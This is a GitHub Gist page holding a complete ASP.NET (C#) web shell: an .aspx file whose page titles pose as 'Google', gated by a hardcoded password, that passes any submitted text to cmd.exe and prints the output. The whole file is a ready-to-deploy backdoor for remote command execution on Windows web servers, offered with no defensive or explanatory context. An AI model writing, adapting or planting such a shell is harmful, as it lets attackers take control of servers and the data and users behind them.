Created
January 27, 2021 13:20
-
-
Save faisalfs10x/f7902481b39e131e16287f174f168897 to your computer and use it in GitHub Desktop.
try kastem
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<%@ Page Language="C#" %> | |
<%@ Import namespace="System.Diagnostics"%> | |
<%@ Import Namespace="System.IO" %> | |
<script runat="server"> | |
private const string mangga = "@lololo"; | |
private const string kepala = "<html>\n<head>\n<title>Google</title>\n<style type=\"text/css\"><!--\nbody,table,p,pre,form input,form select {\n font-family: \"Lucida Console\", monospace;\n font-size: 88%;\n}\n-->\n</style></head>\n<body>\n"; | |
private const string kaki = "</body>\n</html>\n"; | |
/// <summary> | |
/// | |
/// </summary> | |
/// <param name="sender"></param> | |
/// <param name="e"></param> | |
protected void Page_Load(object sender, EventArgs e) | |
{ | |
} | |
/// <summary> | |
/// | |
/// </summary> | |
/// <param name="sender"></param> | |
/// <param name="e"></param> | |
protected void btnjalan_Click(object sender, EventArgs e) | |
{ | |
if (txtlock.Text != mangga) | |
{ | |
return; | |
} | |
Response.Write(kepala); | |
Response.Write("<pre>"); | |
Response.Write(Server.HtmlEncode(this.ExecuteCommand(txtkoman.Text))); | |
Response.Write("</pre>"); | |
Response.Write(kaki); | |
} | |
/// <summary> | |
/// | |
/// </summary> | |
/// <param name="koman"></param> | |
/// <returns></returns> | |
private string ExecuteCommand(string koman) | |
{ | |
try | |
{ | |
ProcessStartInfo processStartInfo = new ProcessStartInfo(); | |
processStartInfo.FileName = "cmd.exe"; | |
processStartInfo.Arguments = "/c " + koman; | |
processStartInfo.RedirectStandardOutput = true; | |
processStartInfo.UseShellExecute = false; | |
Process process = Process.Start(processStartInfo); | |
using (StreamReader streamReader = process.StandardOutput) | |
{ | |
string ret = streamReader.ReadToEnd(); | |
return ret; | |
} | |
} | |
catch (Exception ex) | |
{ | |
return ex.ToString(); | |
} | |
} | |
</script> | |
<html xmlns="http://www.w3.org/1999/xhtml" > | |
<head id="Head1" runat="server"> | |
<title>gugel</title> | |
</head> | |
<body> | |
<form id="formCommand" runat="server"> | |
<div> | |
<table> | |
<tr> | |
<td width="30">pwd:</td> | |
<td><asp:TextBox id="txtlock" runat="server"></asp:TextBox></td> | |
</tr> | |
<tr> | |
<td width="30">Command:</td> | |
<td><asp:TextBox ID="txtkoman" runat="server" Width="820px"></asp:TextBox></td> | |
</tr> | |
<td> </td> | |
<td><asp:Button ID="btnjalan" runat="server" OnClick="btnjalan_Click" Text="Jalan" /></td> | |
</tr> | |
</table> | |
</div> | |
</form> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment